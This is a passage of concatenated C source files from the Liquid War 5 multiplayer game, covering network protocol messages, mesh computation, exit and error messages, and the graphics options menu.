* Sends a "TEAMSTARTINFO" message */ int lw_protocol_ask_teamstartinfo (int *sock, int team, LW_TEAMSTARTINFO * team_start_info) { int result = 0; char message[LW_SOCK_MESSAGE_SIZE]; int ret = 0; LW_NETMESS *netmess; lw_teamstartinfo_reset (team_start_info); LW_MACRO_SPRINTF2 (message, "%s %d", LW_NETMESS_TEXT_TEAMSTARTINFO, team); if (*sock >= 0 && lw_sock_send_str (sock, message)) { while (*sock >= 0 && (ret = lw_sock_recv_str (sock, message)) == 0); if (*sock >= 0 && ret > 0) { netmess = lw_netmess_read (message); if (netmess != NULL) { switch (netmess->code) { case LW_NETMESS_CODE_OK: if (netmess->argc == 3) { team_start_info->active = atoi (netmess->argv[0]); team_start_info->start = atoi (netmess->argv[1]); strncpy (team_start_info->name, netmess->argv[2], NAME_SIZE); team_start_info->name[NAME_SIZE] = '\0'; result = 1; } break; } lw_netmess_free (netmess); } } } return result; } /*------------------------------------------------------------------*/ /* * Sends a "CHATTALK" message */ int lw_protocol_chat_talk (int *sock, char *text) { int result = 0; char message[LW_SOCK_MESSAGE_SIZE]; LW_MACRO_SPRINTF2 (message, "%s '%s'", LW_NETMESS_TEXT_CHATTALK, text); if (*sock >= 0 && lw_sock_send_str (sock, message)) { if (recv_ok (sock)) { result = 1; } } return result; } /*------------------------------------------------------------------*/ /* * Sends a "CHATLISTEN" message */ int lw_protocol_chat_listen (int *sock, LW_CHAT_HISTORY * chat_history) { int result = 0; char message[LW_SOCK_MESSAGE_SIZE]; int ret = 0; LW_NETMESS *netmess; if (*sock >= 0 && lw_sock_send_str (sock, LW_NETMESS_TEXT_CHATLISTEN)) { while (*sock >= 0 && (ret = lw_sock_recv_str (sock, message)) == 0); if (*sock >= 0 && ret > 0) { netmess = lw_netmess_read (message); if (netmess != NULL) { switch (netmess->code) { case LW_NETMESS_CODE_OK: switch (netmess->argc) { case 0: /* * No message, we do nothing */ result = 1; break; case 2: /* * Message received, enqueue it */ lw_chat_push (chat_history, netmess->argv[0], netmess->argv[1]); result = 1; break; } break; } lw_netmess_free (netmess); } } } return result; } /*------------------------------------------------------------------*/ /* * Sends a "QUIT" message to the server, in case it wants to make * the difference between a client that disconnects on purpose * and someones that has network problems. */ int lw_protocol_quit (int *sock) { int result = 0; lw_sock_send_str (sock, LW_NETMESS_TEXT_QUIT); /* * We leave result to 0, the sockets needs to be closed wether * the QUIT message was sent or not. */ return result; } liquidwar-5.6.5/src/mesh.c0000664000372000037200000003473713407756104015046 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : mesh.c */ /* contenu : calcul du maillage */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include "bigdata.h" #include "config.h" #include "map.h" #include "maptex.h" #include "mesh.h" #include "network.h" #include "log.h" #include "random.h" /*==================================================================*/ /* types */ /*==================================================================*/ typedef struct { char used; short size; void *link[NB_DIRS]; int corres; } MESHER; /*==================================================================*/ /* variables globales */ /*==================================================================*/ #define MESH_FG 1 #define MESH_BG 2 #define MESH_MAX_ELEM_SIZE 16 MESH *CURRENT_MESH = NULL; int CURRENT_MESH_SIZE = 0; int CURRENT_AREA_W = 0; int CURRENT_AREA_H = 0; BITMAP *CURRENT_AREA_DISP = NULL; BITMAP *CURRENT_AREA_BACK = NULL; /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ /* fonction creant le premier mesher, base de tous les calculs */ /*------------------------------------------------------------------*/ /*------------------------------------------------------------------*/ static MESHER * create_first_mesher (BITMAP * map) { MESHER *result; int x, y, h, w, size, i, j; w = map->w; h = map->h; size = h * w; result = malloc_in_big_data_top (size * sizeof (MESHER)); if (result != NULL) { for (i = 0; i < size; ++i) { result[i].size = 1; result[i].corres = 3; for (j = 0; j < NB_DIRS; ++j) result[i].link[j] = NULL; } for (y = 0; y < h; ++y) for (x = 0; x < w; ++x) result[y * w + x].used = (getpixel (map, x, y) == MESH_FG) ? 0 : 1; for (y = 1; y < h - 1; ++y) for (x = 1; x < w - 1; ++x) { i = y * w + x; if (result[i].used) { if (result[i - w].used) result[i].link[DIR_NNW] = result[i].link[DIR_NNE] = result + i - w; if (result[i - w + 1].used) result[i].link[DIR_NE] = result + i - w + 1; if (result[i + 1].used) result[i].link[DIR_ENE] = result[i].link[DIR_ESE] = result + i + 1; if (result[i + w + 1].used) result[i].link[DIR_SE] = result + i + w + 1; if (result[i + w].used) result[i].link[DIR_SSE] = result[i].link[DIR_SSW] = result + i + w; if (result[i + w - 1].used) result[i].link[DIR_SW] = result + i + w - 1; if (result[i - 1].used) result[i].link[DIR_WSW] = result[i].link[DIR_WNW] = result + i - 1; if (result[i - w - 1].used) result[i].link[DIR_NW] = result + i - w - 1; } } } return result; } /*------------------------------------------------------------------*/ /* fonction regroupant tous les carres d'1 certaine taille */ /*------------------------------------------------------------------*/ /*------------------------------------------------------------------*/ static int group_mesher (MESHER * mesher, BITMAP * map, int step) { int found = 0; int x, y, w, h, i, j, k; MESHER *ne, *se, *sw, *nw, *test; w = map->w; h = map->h; for (y = 0; y < h - step; y += step * 2) for (x = 0; x < w - step; x += step * 2) { i = y * w + x; ne = mesher + i + step; se = mesher + i + (w + 1) * step; sw = mesher + i + w * step; nw = mesher + i; if (ne->used && ne->size == step && se->used && se->size == step && sw->used && sw->size == step && nw->used && nw->size == step && ne->link[DIR_NNW] == ne->link[DIR_NNE] && ne->link[DIR_ENE] == ne->link[DIR_ESE] && se->link[DIR_ENE] == se->link[DIR_ESE] && se->link[DIR_SSE] == se->link[DIR_SSW] && sw->link[DIR_SSE] == sw->link[DIR_SSW] && sw->link[DIR_WSW] == sw->link[DIR_WNW] && nw->link[DIR_WSW] == nw->link[DIR_WNW] && nw->link[DIR_NNW] == nw->link[DIR_NNE] && ne->link[DIR_NE] != NULL && se->link[DIR_SE] != NULL && sw->link[DIR_SW] != NULL && nw->link[DIR_NW] != NULL) { ne->used = 0; se->used = 0; sw->used = 0; nw->size = step * 2; nw->link[DIR_NNE] = ne->link[DIR_NNE]; nw->link[DIR_NE] = ne->link[DIR_NE]; nw->link[DIR_ENE] = ne->link[DIR_ENE]; nw->link[DIR_ESE] = se->link[DIR_ESE]; nw->link[DIR_SE] = se->link[DIR_SE]; nw->link[DIR_SSE] = se->link[DIR_SSE]; nw->link[DIR_SSW] = sw->link[DIR_SSW]; nw->link[DIR_SW] = sw->link[DIR_SW]; nw->link[DIR_WSW] = sw->link[DIR_WSW]; for (j = 0; j < NB_DIRS; ++j) for (k = 0; k < NB_DIRS; ++k) { if (nw->link[j]) { test = ((MESHER *) (nw->link[j]))->link[k]; if (test == ne || test == se || test == sw) ((MESHER *) (nw->link[j]))->link[k] = nw; } } ++found; } } return found; } /*------------------------------------------------------------------*/ /* fonction creant le maillage definitif a partir du temporaire */ /*------------------------------------------------------------------*/ /*------------------------------------------------------------------*/ static MESH * mesher_to_mesh (MESHER * mesher, BITMAP * map, int *size, int *w, int *h) { MESH *result; MESHER *temp; int mesher_size, i, j, k; (*w) = map->w; (*h) = map->h; mesher_size = (*h) * (*w); *size = 0; for (i = 0; i < mesher_size; ++i) if (mesher[i].used) ++(*size); result = malloc_in_big_data_bottom ((*size) * sizeof (MESH)); if (result != NULL) { j = 0; for (i = 0; i < mesher_size; ++i) { if (mesher[i].used) { result[j].x = i % (*w); result[j].y = i / (*w); result[j].side.decal_for_dir = 0; result[j].side.size = mesher[i].size; for (k = 0; k < NB_DIRS; ++k) result[j].link[k] = mesher[i].link[k]; mesher[i].corres = j; j++; } } for (j = 0; j < (*size); ++j) for (k = 0; k < NB_DIRS; ++k) if ((temp = (result[j].link[k])) != NULL) result[j].link[k] = result + temp->corres; } return result; } /*------------------------------------------------------------------*/ /* fonction creant tout le maillage si necessaire */ /*------------------------------------------------------------------*/ /*------------------------------------------------------------------*/ void reset_mesh (void) { int i, j; for (i = 0; i < CURRENT_MESH_SIZE; ++i) { for (j = 0; j < NB_TEAMS; ++j) { CURRENT_MESH[i].info[j].state.dir = (i + j) % NB_DIRS; CURRENT_MESH[i].info[j].update.time = -1; } } } /*------------------------------------------------------------------*/ static void test_one_mesh (MESH * test) { MESH m; m.x = test->x; m.y = test->y; m.side = test->side; m.info[NB_TEAMS - 1] = test->info[NB_TEAMS - 1]; m.link[NB_DIRS - 1] = test->link[NB_DIRS - 1]; if (m.x >= 0 && m.y >= 0) { /* * Test above is worth nothing, actually it's * to get rid of a computer warning, but to * be honest this function existence is just * to check memory handling is OK and show * up basic pointers errors and reveal bugs. */ } } /*------------------------------------------------------------------*/ void test_mesh (void) { int i, k; for (i = 0; i < CURRENT_MESH_SIZE; ++i) { test_one_mesh (CURRENT_MESH + i); for (k = 0; k < NB_DIRS; ++k) if (CURRENT_MESH[i].link[k] != NULL) test_one_mesh (CURRENT_MESH[i].link[k]); } } /*------------------------------------------------------------------*/ int create_mesh (void) { int retour = 0, i; BITMAP *map; MESHER *mesher; int zoom_factor = 1; CURRENT_MESH = NULL; CURRENT_MESH_SIZE = 0; CURRENT_AREA_W = 0; CURRENT_AREA_H = 0; if ((map = lw_map_create_bicolor (CONFIG_LEVEL_MAP, MESH_FG, MESH_BG, LW_NETWORK_ON, LW_RANDOM_ON, MIN_MAP_RES_W[LW_CONFIG_CURRENT_RULES.min_map_res], MIN_MAP_RES_H[LW_CONFIG_CURRENT_RULES.min_map_res], &zoom_factor)) != NULL) { mesher = create_first_mesher (map); if (mesher != NULL) { i = 1; while (i <= MESH_MAX_ELEM_SIZE / 2 && group_mesher (mesher, map, i)) i *= 2; CURRENT_MESH = mesher_to_mesh (mesher, map, &CURRENT_MESH_SIZE, &CURRENT_AREA_W, &CURRENT_AREA_H); free_last_big_data_top (); } destroy_bitmap (map); } if (CURRENT_MESH == NULL) retour = -1; /* pas assez de memoire */ return retour; } /*------------------------------------------------------------------*/ /* fonction creant une bitmap de demo du maillage si necessaire */ /*------------------------------------------------------------------*/ /*------------------------------------------------------------------*/ BITMAP * create_mesh_bitmap (int mode) { BITMAP *result; int i, j, color; result = lw_maptex_create_map (CONFIG_LEVEL_MAP, CONFIG_LEVEL_FG, CONFIG_LEVEL_BG, LW_NETWORK_ON, LW_RANDOM_ON, MIN_MAP_RES_W[LW_CONFIG_CURRENT_RULES.min_map_res], MIN_MAP_RES_H[LW_CONFIG_CURRENT_RULES.min_map_res], CONFIG_USE_DEFAULT_TEXTURE); if (result) { for (i = 0; i < CURRENT_MESH_SIZE; ++i) { switch (mode) { case 0: color = 0; j = CURRENT_MESH[i].side.size; while (j > 1) { j /= 2; ++color; } break; default: color = i; } rectfill (result, CURRENT_MESH[i].x, CURRENT_MESH[i].y, CURRENT_MESH[i].x + CURRENT_MESH[i].side.size - 1, CURRENT_MESH[i].y + CURRENT_MESH[i].side.size - 1, 96 + color % 32); } } return result; } liquidwar-5.6.5/src/exit.c0000664000372000037200000002631613407756104015055 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : exit.c */ /* contenu : fin d'allero et messages d'adieu */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #ifdef WIN32 #include "popupgen.h" #endif #ifdef DOS #include #endif #include "basicopt.h" #include "config.h" #include "exit.h" #include "init.h" #include "log.h" #include "sound.h" #include "startup.h" #include "ticker.h" #include "sockgen.h" #include "viewport.h" /*==================================================================*/ /* types */ /*==================================================================*/ /*==================================================================*/ /* variables globales */ /*==================================================================*/ static int LW_EXIT_FORCE_SHUTDOWN = 0; /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ /* fonction de desinstallation d'allegro */ /*------------------------------------------------------------------*/ /*------------------------------------------------------------------*/ static void exit_all (void) { if (LW_INIT_ALLEGRO_OK) { /* * we take a rest before and after calling set_gfx_mode(GFX_TEXT,...) * This is an attempt to get rid of a hideous bug under X-Win, * which said that there was a "bad file descriptor" */ rest (10); last_flip (); set_gfx_mode (GFX_TEXT, 0, 0, 0, 0); rest (10); log_println (); log_println_str ("Leaving Allegro (http://www.talula.demon.co.uk/allegro)"); save_config_options (); stop_water (); stop_ticker (); remove_sound (); remove_mouse (); clear_keybuf (); remove_keyboard (); remove_timer (); allegro_exit (); lw_sock_exit (); } } /*------------------------------------------------------------------*/ static void disp_base_message (void) { lw_basicopt_legal_info ("Liquid War by U-Foot"); } /*------------------------------------------------------------------*/ static void disp_ok_message (void) { log_println_str ("Thanks for playing Liquid War, I hope you enjoyed it!"); } /*------------------------------------------------------------------*/ static void disp_error_message (void) { log_println_str ("Thanks for trying to play, sorry about the trouble Liquid War is causing you."); } /*------------------------------------------------------------------*/ static void disp_init_fail_message (void) { log_println_str ("An error occured during the init process."); log_println (); log_println_str ("Try \"lw -silent\" to disable sound management."); log_println_str ("Try \"lw -nojoy\" to disable joystick control."); log_println (); log_print_str ("Try to delete the \""); log_print_str (STARTUP_CFG_PATH); log_println_str ("\" file and restart Liquid War."); #ifdef WIN32 lw_popup_init_fail (); #endif } /*------------------------------------------------------------------*/ static void disp_common_memory_message (void) { log_println_str ("Try \"lw -auto\" if you don't want to waste your time."); log_println (); log_println_str ("Try \"lw -mem n\" where 'n' is the number of Mb to be allocated by Liquid War"); log_println_str ("to do all his calculus. The lower it is, the safer it is in general, but you"); log_println_str ("won't be able to play with all the levels if 'n' is too small."); log_println_str ("'n' can range from 1 to 32, default is 8."); log_println (); log_println_str ("If you run Liquid War from Windows, try and give it more DPMI memory."); log_println (); log_println_str ("Try \"lw -noback\" to skip background image loading."); log_println_str ("Try \"lw -notex\" to skip texture loading."); log_println_str ("Try \"lw -nowater\" to skip water sounds loading."); log_println_str ("Try \"lw -nosfx\" to skip sound fx loading."); log_println (); log_println_str ("Try \"lw -nice\" if \"lw -auto\" doesn't work correctly."); log_println_str ("Try \"lw -safe\" if nothing else works."); } /*------------------------------------------------------------------*/ static void disp_mem_trouble_message (void) { log_println_str ("Liquid War is running short of memory for its bitmaps."); log_println (); disp_common_memory_message (); #ifdef WIN32 lw_popup_mem_trouble (); #endif } /*------------------------------------------------------------------*/ static void disp_big_data_message (void) { log_println_str ("Liquid War was unable to allocate memory for its calculus."); log_println (); disp_common_memory_message (); #ifdef WIN32 lw_popup_big_data (); #endif } /*------------------------------------------------------------------*/ static void disp_load_fail_message (void) { log_println_str ("Liquid War was unable to load its datafile."); log_println (); log_print_str ("Please first check that \""); log_print_str (STARTUP_DAT_PATH); log_print_str ("\" exists."); log_println (); log_println (); disp_common_memory_message (); #ifdef WIN32 lw_popup_load_fail (); #endif } /*------------------------------------------------------------------*/ static void disp_custom_fail_message (void) { log_println_str ("Liquid War was unable to load your custom maps."); log_println (); log_println_str ("This can happen when:"); log_println (); log_println_str ("The path is wrong, use \"lw -tex path\" or \"lw -map path\"."); log_println_str ("Your bitmaps are not correct, just change them."); log_println_str ("You don't have enough memory."); #ifdef WIN32 lw_popup_custom_fail (); #endif } /*------------------------------------------------------------------*/ static void disp_graphics_fail_message (void) { log_println_str ("Unable to set up a graphic mode."); log_println (); log_println_str ("Liquid War _needs_ to set up a graphic mode."); log_println_str ("Please check that your config is supported by Allegro."); #ifdef WIN32 lw_popup_graphics_fail (); #endif } /*------------------------------------------------------------------*/ void my_exit_close_button (void) { LW_EXIT_FORCE_SHUTDOWN = 1; } /*------------------------------------------------------------------*/ void my_exit_poll () { /* * We exit if the close button has been clicked or * F10 has been pressed */ if (LW_EXIT_FORCE_SHUTDOWN || key[KEY_F10]) { my_exit (EXIT_CODE_OK); } } /*------------------------------------------------------------------*/ void my_exit (int code) { exit_all (); if (code == EXIT_CODE_OK) { disp_base_message (); log_println (); disp_ok_message (); } else { log_println (); log_flush (); switch (code) { case EXIT_CODE_INIT_FAIL: disp_init_fail_message (); break; case EXIT_CODE_MEM_TROUBLE: disp_mem_trouble_message (); break; case EXIT_CODE_BIG_DATA: disp_big_data_message (); break; case EXIT_CODE_LOAD_FAIL: disp_load_fail_message (); break; case EXIT_CODE_CUSTOM_FAIL: disp_custom_fail_message (); break; case EXIT_CODE_GRAPHICS_FAIL: disp_graphics_fail_message (); break; } #ifdef DOS getch (); #endif log_println (); log_println (); log_println (); disp_base_message (); log_println (); disp_error_message (); } log_exit (); exit (code); } liquidwar-5.6.5/src/code.h0000664000372000037200000001003313407756104015010 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : code.h */ /* contenu : codes et touches pendant le jeu */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_CODE #define LIQUID_WAR_INCLUDE_CODE /*==================================================================*/ /* constantes */ /*==================================================================*/ extern int GRAD_TO_DISP; extern int PAUSE_ON; /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ void reset_code (void); void check_code (void); #endif liquidwar-5.6.5/src/graphics.c0000664000372000037200000002772613407756104015712 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : graphics.c */ /* contenu : choix des options graphiques */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include #include "back.h" #include "config.h" #include "dialog.h" #include "disk.h" #include "gfxmode.h" #include "graphics.h" #include "help.h" #include "menu.h" #include "sound.h" #include "wave.h" #include "lang.h" #include "macro.h" /*==================================================================*/ /* variables globales */ /*==================================================================*/ /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ static char * get_game_res_str (void) { static char str[30]; LW_MACRO_SPRINTF3 (str, "%s:%dx%d", lw_lang_string (LW_LANG_STRING_GRAPHICS_GAME), GFX_MODE_W[CONFIG_GFX_GAME], GFX_MODE_H[CONFIG_GFX_GAME]); return str; } /*------------------------------------------------------------------*/ static char * get_menu_res_str (void) { static char str[30]; LW_MACRO_SPRINTF3 (str, "%s:%dx%d", lw_lang_string (LW_LANG_STRING_GRAPHICS_MENU), GFX_MODE_W[CONFIG_GFX_MENU], GFX_MODE_H[CONFIG_GFX_MENU]); return str; } /*------------------------------------------------------------------*/ static char * get_wave_mode_str (void) { if (CONFIG_WAVE_ON) return (lw_lang_string (LW_LANG_STRING_GRAPHICS_ON)); else return (lw_lang_string (LW_LANG_STRING_GRAPHICS_OFF)); } /*------------------------------------------------------------------*/ static char * get_page_flip_str (void) { if (CONFIG_PAGE_FLIP) return (lw_lang_string (LW_LANG_STRING_GRAPHICS_ON)); else return (lw_lang_string (LW_LANG_STRING_GRAPHICS_OFF)); } /*------------------------------------------------------------------*/ static char * get_fullscreen_str (void) { if (CONFIG_FULLSCREEN) return (lw_lang_string (LW_LANG_STRING_GRAPHICS_FULLSCREEN)); else return (lw_lang_string (LW_LANG_STRING_GRAPHICS_WINDOWED)); } /*------------------------------------------------------------------*/ static int slider_game_res (void *dp3, int d2) { int *changed; LW_MACRO_NOP (d2); play_click (); changed = dp3; *changed = 1; return 0; } /*------------------------------------------------------------------*/ static int slider_menu_res (void *dp3, int d2) { int *changed; LW_MACRO_NOP (d2); play_click (); changed = dp3; *changed = 1; my_set_palette (); return 0; } /*------------------------------------------------------------------*/ static int slider_brightness (void *dp3, int d2) { LW_MACRO_NOP (dp3); LW_MACRO_NOP (d2); play_click (); CONFIG_BRIGHTNESS = d2; my_set_palette (); return 0; } /*------------------------------------------------------------------*/ int graphic_options (void) { /* la gestion des paramtres curseur a ete mise en commentaire... */ int menu_res_changed = 0; int fullscreen_changed = 0; int game_res_changed = 0; DIALOG_PLAYER *dp; DIALOG d[20]; int i, choix = 4, retour = 0; static int y_pos[7] = { 0, 1, 3, 4, 5, 6, 8 }; int *temp; memset (d, 0, sizeof (d)); display_back_image (); while (retour == 0) { for (i = 0; i < 7; ++i) { standard_button (d + i + 4, 0, y_pos[i], 2, 10); d[i + 4].proc = my_textbox_proc; } for (i = 0; i < 7; ++i) { standard_button (d + i + 11, 1, y_pos[i], 2, 10); d[i + 11].proc = my_slider_proc; } standard_button (d + 18, 0, 9, 1, 10); d[18].dp = lw_lang_string (LW_LANG_STRING_GRAPHICS_ADVANCED); quick_buttons (d); d[4].dp = lw_lang_string (LW_LANG_STRING_GRAPHICS_VIDEOMODE); d[5].dp = lw_lang_string (LW_LANG_STRING_GRAPHICS_BRIGHTNESS); d[6].dp = get_menu_res_str (); d[7].dp = get_game_res_str (); d[8].dp = lw_lang_string (LW_LANG_STRING_GRAPHICS_VIEWPORTSIZE); d[9].dp = lw_lang_string (LW_LANG_STRING_GRAPHICS_PAGEFLIPPING); d[10].dp = lw_lang_string (LW_LANG_STRING_GRAPHICS_WAVES); d[11].dp = d[12].dp = d[13].dp = d[14].dp = d[15].dp = d[16].dp = d[17].dp = NULL; d[12].d1 = 18; d[13].d1 = d[14].d1 = 4; d[15].d1 = 8; d[16].d1 = 8; d[15].dp3 = &CONFIG_VIEWPORT_SIZE; for (i = 15; i < 16; ++i) { d[i].dp = NULL; d[i].dp2 = slider_int; temp = d[i].dp3; d[i].d2 = *temp; } d[12].dp = d[13].dp = d[14].dp = NULL; d[12].d2 = CONFIG_BRIGHTNESS; d[13].d2 = CONFIG_GFX_MENU; d[14].d2 = CONFIG_GFX_GAME; d[12].dp2 = slider_brightness; d[13].dp2 = slider_menu_res; d[14].dp2 = slider_game_res; d[13].dp3 = &menu_res_changed; d[14].dp3 = &game_res_changed; d[11].proc = my_button_proc; d[11].dp = get_fullscreen_str (); #ifdef DOS /* * Under DOS, fullscreen or windowed makes no sense, so we simply * remove the button to avoid confusion. */ d[4].flags |= D_HIDDEN; d[11].flags = D_EXIT | D_HIDDEN; #else d[11].flags = D_EXIT; #endif d[16].proc = my_button_proc; d[16].dp = get_page_flip_str (); d[16].flags = D_EXIT; d[17].proc = my_button_proc; d[17].dp = get_wave_mode_str (); d[17].flags = D_EXIT; d[19].proc = 0; game_res_changed = 0; if (menu_res_changed || fullscreen_changed) { menu_res_changed = 0; fullscreen_changed = 0; display_back_image (); dp = my_init_dialog (d, choix); my_fade_in (); } else dp = my_init_dialog (d, choix); show_mouse (screen); while ((menu_res_changed == 0) && (game_res_changed == 0) && my_update_dialog (dp)) ; choix = shutdown_dialog (dp); if (menu_res_changed) { if (d[13].d2 != CONFIG_GFX_MENU) { my_fade_out (); if (set_resolution (d[13].d2, 0, CONFIG_FULLSCREEN, NULL)) CONFIG_GFX_MENU = 0; else CONFIG_GFX_MENU = d[13].d2; } d[13].dp = get_menu_res_str (); } else { if (game_res_changed) { CONFIG_GFX_GAME = d[14].d2; d[14].dp = get_game_res_str (); retour = 0; } else { play_click (); switch (choix) { case -1: case MENU_QUICK_BACK: retour = 1; break; case MENU_QUICK_MAIN: retour = MENU_TOP; break; case MENU_QUICK_QUIT: if (confirm_quit ()) retour = MENU_EXIT; else display_back_image (); break; case MENU_QUICK_PLAY: retour = MENU_PLAY; break; case 11: CONFIG_FULLSCREEN = CONFIG_FULLSCREEN ? 0 : 1; d[11].dp = get_fullscreen_str (); scare_mouse (); my_button_proc (MSG_DRAW, d + 11, 0); unscare_mouse (); fullscreen_changed = 1; my_fade_out (); set_resolution (d[13].d2, 0, CONFIG_FULLSCREEN, NULL); break; case 16: CONFIG_PAGE_FLIP = CONFIG_PAGE_FLIP ? 0 : 1; d[16].dp = get_page_flip_str (); scare_mouse (); my_button_proc (MSG_DRAW, d + 16, 0); unscare_mouse (); break; case 17: CONFIG_WAVE_ON = CONFIG_WAVE_ON ? 0 : 1; d[17].dp = get_wave_mode_str (); scare_mouse (); my_button_proc (MSG_DRAW, d + 17, 0); unscare_mouse (); break; case 18: retour = wave_options (); display_back_image (); break; } } } } if (retour > 0) retour--; return retour; } liquidwar-5.6.5/src/volume.h0000664000372000037200000001026013407756104015407 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS 